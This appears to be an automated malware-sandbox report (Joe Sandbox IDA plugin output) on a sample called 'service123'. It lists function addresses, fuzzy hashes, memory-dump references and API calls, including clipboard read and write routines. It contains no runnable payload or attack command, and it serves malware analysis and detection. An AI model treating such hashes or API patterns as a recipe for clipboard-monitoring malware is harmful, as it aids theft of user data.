Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 81b9a1b30eec56ad88f720afd8f95c7c9f1f7ff19b3c5f21f5b72c67475a16a1
Instruction ID: 286ebd9bf80efecb4a6fd1ea053b9a1eba544622f10177f76eaf6764257947c0
Opcode Fuzzy Hash: 81b9a1b30eec56ad88f720afd8f95c7c9f1f7ff19b3c5f21f5b72c67475a16a1
Instruction Fuzzy Hash: B43124759043158FDB60DF64D88439BBBF1FB48302F00992ADD49A7352D739A94ACF81

Function 000513BB Relevance: 5.1, APIs: 4, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 000512EB
strlen.MSVCRT ref: 00051323
malloc.MSVCRT ref: 0005132E
memcpy.MSVCRT ref: 00051344

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 42e6ec1279b671285f45c966d335c7a75f50b90245f8ecf6c51bc353fde17199
Instruction ID: 06f68b8c8b9faf2b22e2213f087e9d44b803de7aad26bd6f95569591cfdb1ad4
Opcode Fuzzy Hash: 42e6ec1279b671285f45c966d335c7a75f50b90245f8ecf6c51bc353fde17199
Instruction Fuzzy Hash: 302100B59043018FDB60DF64D88479FBBF0FB88302F10992AD949A7351EB34A94ACF81

Function 6C18B3F0 Relevance: 1.4, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d38fcf2da5154643d0b6f85dafebfed4f38647d0a5588ef60da670261605be5
Instruction ID: fb4ec6c0e27dd175c887447be7bd80c484245b9470dca437e4b6a4f989e00759
Opcode Fuzzy Hash: 2d38fcf2da5154643d0b6f85dafebfed4f38647d0a5588ef60da670261605be5
Instruction Fuzzy Hash: 48515DB5B0A206CFCB04DF19E48461AFBF0FB85358F558569E8588BB51E770E805CFA2

Function 6C18B560 Relevance: 1.3, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43765cbe334509d436c58197f2e9c682ae2ba2bf8f50a74dae603f2267d15f29
Instruction ID: a1e46d9bb01785b5106526803c4b04f2e5c502d09910a22a15616a1dee5ebdd4
Opcode Fuzzy Hash: 43765cbe334509d436c58197f2e9c682ae2ba2bf8f50a74dae603f2267d15f29
Instruction Fuzzy Hash: 7D31CDB170A201CFDB14AF29D88034ABBB5BF86318F598268DD108FB95E774D405CF62

Non-executed Functions

Function 6C17CD00 Relevance: 33.4, APIs: 22, Instructions: 445stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C17CD7D

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: d97bca89ca479025d457dd105b2d8d3acf98de2d5184e125db81a7c5fa4fd568
Instruction ID: 153d402d934a9d0679295f3a85e79b51377c03a5896811fab33914e0b56df9f2
Opcode Fuzzy Hash: d97bca89ca479025d457dd105b2d8d3acf98de2d5184e125db81a7c5fa4fd568
Instruction Fuzzy Hash: 660244B15087548FD720DF28C054395FFE2AF86318F1D82AED8A85BB91C776E449CBA1

Function 6C180FC0 Relevance: 22.6, APIs: 8, Strings: 4, Instructions: 1647stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C180FCA
strlen.MSVCRT ref: 6C180FD4

Strings

5, xrefs: 6C1814D2
, xrefs: 6C18240F
inity, xrefs: 6C181E21
!, xrefs: 6C182C08

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: localeconvstrlen
String ID: $!$5$inity
API String ID: 186660782-1328200385
Opcode ID: af87ae7ce0dfbcb1381db2da97a99502d78825440b5c24ec0a11e00819dd994b
Instruction ID: 6eea4585884458d456a85331c98174967f5a122d43f1cab4e09f9c6454b8b27d
Opcode Fuzzy Hash: af87ae7ce0dfbcb1381db2da97a99502d78825440b5c24ec0a11e00819dd994b
Instruction Fuzzy Hash: 9CF23576A0E7818FD720CF29C48479ABBE1BF89308F61891EE8D997750D775E8448F42

Function 6C1F84D0 Relevance: 17.7, Strings: 14, Instructions: 166COMMON

Download Yara Rule

Strings

default, xrefs: 6C1F84EF
rdrnd, xrefs: 6C1F8618
Genu, xrefs: 6C1F8557
Auth, xrefs: 6C1F85E7
Genu, xrefs: 6C1F866E
Auth, xrefs: 6C1F854F
rand_s, xrefs: 6C1F86B7
hardware, xrefs: 6C1F86A0
rdrand, xrefs: 6C1F85A8
Auth, xrefs: 6C1F8676
random_device::random_device(const std::string&): device not available, xrefs: 6C1F8598
rdseed, xrefs: 6C1F8518
Genu, xrefs: 6C1F85DF
random_device::random_device(const std::string&): unsupported token, xrefs: 6C1F86D2

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcmpstrlen
String ID: Auth$Auth$Auth$Genu$Genu$Genu$default$hardware$rand_s$random_device::random_device(const std::string&): device not available$random_device::random_device(const std::string&): unsupported token$rdrand$rdrnd$rdseed
API String ID: 3108337309-1359127009
Opcode ID: 90f6bddf4fcfe512e943197b68e26ef8ab583026a38e178772296c5d4d36f984
Instruction ID: e48f10200d82a9b6ea5584a24b8d962f2cec0a9ea3048a1e9f57d155a0af1c8b
Opcode Fuzzy Hash: 90f6bddf4fcfe512e943197b68e26ef8ab583026a38e178772296c5d4d36f984
Instruction Fuzzy Hash: 1E4139F12182018BF3016A2AC88135BB6E17B5231CF604A3ED892DBFA1D735D456C613

Function 6C17EE50 Relevance: 12.5, APIs: 8, Instructions: 494COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C17F18B
malloc.MSVCRT ref: 6C17F1A8

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: c84f1eda77255b2356291ee2c9caf79e2bac4aeb44a955c52f41da5414657b82
Instruction ID: 1cf3f1f59428bf19f64575c41065517b0623f7091d5c9faf0e976430455c0a69
Opcode Fuzzy Hash: c84f1eda77255b2356291ee2c9caf79e2bac4aeb44a955c52f41da5414657b82
Instruction Fuzzy Hash: D61280756087068FC324CF19C48065BF7E2BF98718F158A6DE8A997B50D734ED09CBA2

Function 6C19E6E0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 219stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C19E70A
strlen.MSVCRT ref: 6C19E77A

Strings

basic_string: construction from null is not valid, xrefs: 6C19E742, 6C19E7B2, 6C19E822
basic_string: construction from null is not valid, xrefs: 6C19E86F, 6C19E8C0, 6C19E910

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid$basic_string: construction from null is not valid
API String ID: 39653677-1250104765
Opcode ID: 520b183c7c53e3007a6a0586631768602e8976e271a6c321725f1bec699c71de
Instruction ID: 8689df1b7d04ace953404492869614ecb699764b302d5b674921e0a63394ce2a
Opcode Fuzzy Hash: 520b183c7c53e3007a6a0586631768602e8976e271a6c321725f1bec699c71de
Instruction Fuzzy Hash: FE61ADF1A196148FCB00FF2CD48089ABBE0BF55218F46496DE8849B710E331E999CBD2

Function 6C189D11 Relevance: 12.0, APIs: 8, Instructions: 46clipboardmemorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2139D0: strlen.MSVCRT ref: 6C2139DE

OpenClipboard.USER32 ref: 6C189D31
GlobalAlloc.KERNEL32 ref: 6C189D55
GlobalLock.KERNEL32 ref: 6C189D72
strcpy.MSVCRT ref: 6C189D82
GlobalUnlock.KERNEL32 ref: 6C189D8A
EmptyClipboard.USER32 ref: 6C189D93
SetClipboardData.USER32 ref: 6C189DA4
CloseClipboard.USER32 ref: 6C189DAD

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlockstrcpystrlen
String ID:
API String ID: 3344633682-0
Opcode ID: bf07ed812047230171b8e3c582b182d0ef8b0d8412334cc1b6d807b9830cf69b
Instruction ID: 97ebccc4417bae3160d339f48e2f434f7c6972c9ccd277e6e35ce7e909765949
Opcode Fuzzy Hash: bf07ed812047230171b8e3c582b182d0ef8b0d8412334cc1b6d807b9830cf69b
Instruction Fuzzy Hash: 9511C5B19092048FDB00BF79C5992AEBBF0BF45715F41492CE98A83684EB35D419CB53

Function 6C190860 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C190886
memcmp.MSVCRT ref: 6C1908A9
memcmp.MSVCRT ref: 6C19091F
memcmp.MSVCRT ref: 6C190991

Part of subcall function 6C23ADB0: strlen.MSVCRT ref: 6C23ADBE

memcmp.MSVCRT ref: 6C190A25

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C1908D0, 6C190944, 6C1909B7, 6C190A4C, 6C190A68
basic_string::compare, xrefs: 6C1908C8, 6C19093C, 6C1909AF, 6C190A44, 6C190A60

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 33c8e4917ebb3574b69d758d5d4fa9e0b55817922e3a4c2705036904e8b461ac
Instruction ID: 86fbbb9c1d15905c05fb464c050983d0606b54d0e1691040403cc270aeaf083a
Opcode Fuzzy Hash: 33c8e4917ebb3574b69d758d5d4fa9e0b55817922e3a4c2705036904e8b461ac
Instruction Fuzzy Hash: A5614776A0A3149FC304EF69D88055BFBE5AFD8788F54892DE8C887720E371D844CB92

Function 6C1870C0 Relevance: 9.6, APIs: 6, Instructions: 649COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C1870C7
memset.MSVCRT ref: 6C187217

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: localeconvmemset
String ID:
API String ID: 2367598729-0
Opcode ID: e438ad2e95c7fc85f92414f6c26ce0811851d2c4f825ce2ca827d3a5e25a95f1
Instruction ID: a5af03a1b2f0ab56b25639a3b0992b84b7530db275d3f9131a6b3b93bfc61ec7
Opcode Fuzzy Hash: e438ad2e95c7fc85f92414f6c26ce0811851d2c4f825ce2ca827d3a5e25a95f1
Instruction Fuzzy Hash: 21428B7170E3058FD700CF29C49035ABBE2AB85308F19896EF8958BB85D779D949CF92

Function 6C185880 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 1506COMMON

Download Yara Rule

Strings

Infinity, xrefs: 6C185BE0
, xrefs: 6C186D95
, xrefs: 6C187074
NaN, xrefs: 6C185B5F

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: $ $Infinity$NaN
API String ID: 0-3274152445
Opcode ID: fe06b97bd87fcae222d539774c835e1757d4ecf081164389cd82c6e4145a77cf
Instruction ID: e249dbed3740b7a694b72cbd2f2a16042bbf01055ea9bc09409087acc439ad8b
Opcode Fuzzy Hash: fe06b97bd87fcae222d539774c835e1757d4ecf081164389cd82c6e4145a77cf
Instruction Fuzzy Hash: 72E23FB1A1E3458FD310CF29C18074ABBE1FB89748F118A2EE89997751E775E844CF82

Function 6C189E27 Relevance: 6.0, APIs: 4, Instructions: 38clipboardCOMMON

Download Yara Rule

APIs

GetClipboardData.USER32 ref: 6C189E37
GlobalLock.KERNEL32 ref: 6C189E49
GlobalUnlock.KERNEL32 ref: 6C189E6A
CloseClipboard.USER32 ref: 6C189E73
CloseClipboard.USER32 ref: 6C189E98

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Clipboard$CloseGlobal$DataLockUnlock
String ID:
API String ID: 3186146249-0
Opcode ID: 6bb90ac37f14746ec43d35f4fc5c8f50cb7f5f70e7c021b86a791755ed71b2db
Instruction ID: 9d654bdaab8b8960a1f3d5bf8ceb648a78197e21eacc951f6032e827782bdaf7
Opcode Fuzzy Hash: 6bb90ac37f14746ec43d35f4fc5c8f50cb7f5f70e7c021b86a791755ed71b2db
Instruction Fuzzy Hash: 41F06DB26092018FEB00BF79954C1AEBBF0BB45214F01093CDC8693684DB34D419CB93

Function 000551B0 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 1506COMMON

Download Yara Rule

Strings

, xrefs: 000569A4
, xrefs: 000566C5

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 25a639e2901efc8abc7e2c55f0e89a872c7fab7dd726005a7cc44c88fb721942
Instruction ID: 9b56e31581aabb810e0eb98795e40c3986da42a328b6e38cf084257a1dbea698
Opcode Fuzzy Hash: 25a639e2901efc8abc7e2c55f0e89a872c7fab7dd726005a7cc44c88fb721942
Instruction Fuzzy Hash: 90E241B1A087418FD760DF29C48475BBBE0BF88746F54891DE88997361E776E848CF82

Function 00053E20 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

@, xrefs: 00053FD9
., xrefs: 00054114
gfff, xrefs: 00053F43
gfff, xrefs: 00053F2C

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction ID: c5c065cf7324af7df4421d74b5e6eff17c9ef513d403530802e6ae3c3df63afd
Opcode Fuzzy Hash: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction Fuzzy Hash: A3D1C471A087068BC754DE29C88439BBBE2AFD4345F18C92DEC588B356D770DD8C8B92

Function 6C1844F0 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

gfff, xrefs: 6C1845FC
@, xrefs: 6C1846A9
gfff, xrefs: 6C184613
., xrefs: 6C1847E4

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction ID: f476d02af50c023207c5e09344461390b5b2fe80e3bb426a6ad418b646961629
Opcode Fuzzy Hash: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction Fuzzy Hash: ECD1D671A0E3458BD700CF29C4A034BBBE6AFD5348F19C52DE8948BB55EB74D9098F92

Function 6C213140 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

basic_string: construction from null is not valid, xrefs: 6C213250

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: basic_string: construction from null is not valid
API String ID: 0-2991274800
Opcode ID: 14dc2017c838092148a8f1b88588475bccdad9e7d6f55516c1e5935f257da064
Instruction ID: 243c7cae578d1971d3d73eed208bf77ccf2acd423fd383af0f7e1ac30d2c5980
Opcode Fuzzy Hash: 14dc2017c838092148a8f1b88588475bccdad9e7d6f55516c1e5935f257da064
Instruction Fuzzy Hash: A24148B2A092118FD714DF2DD480A5AFBE1BF99314F15896EEC988B749D2309845CBA2

Function 6C210730 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C2107A0
memset.MSVCRT ref: 6C2107C4

Strings

basic_string::_M_replace_aux, xrefs: 6C210840

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

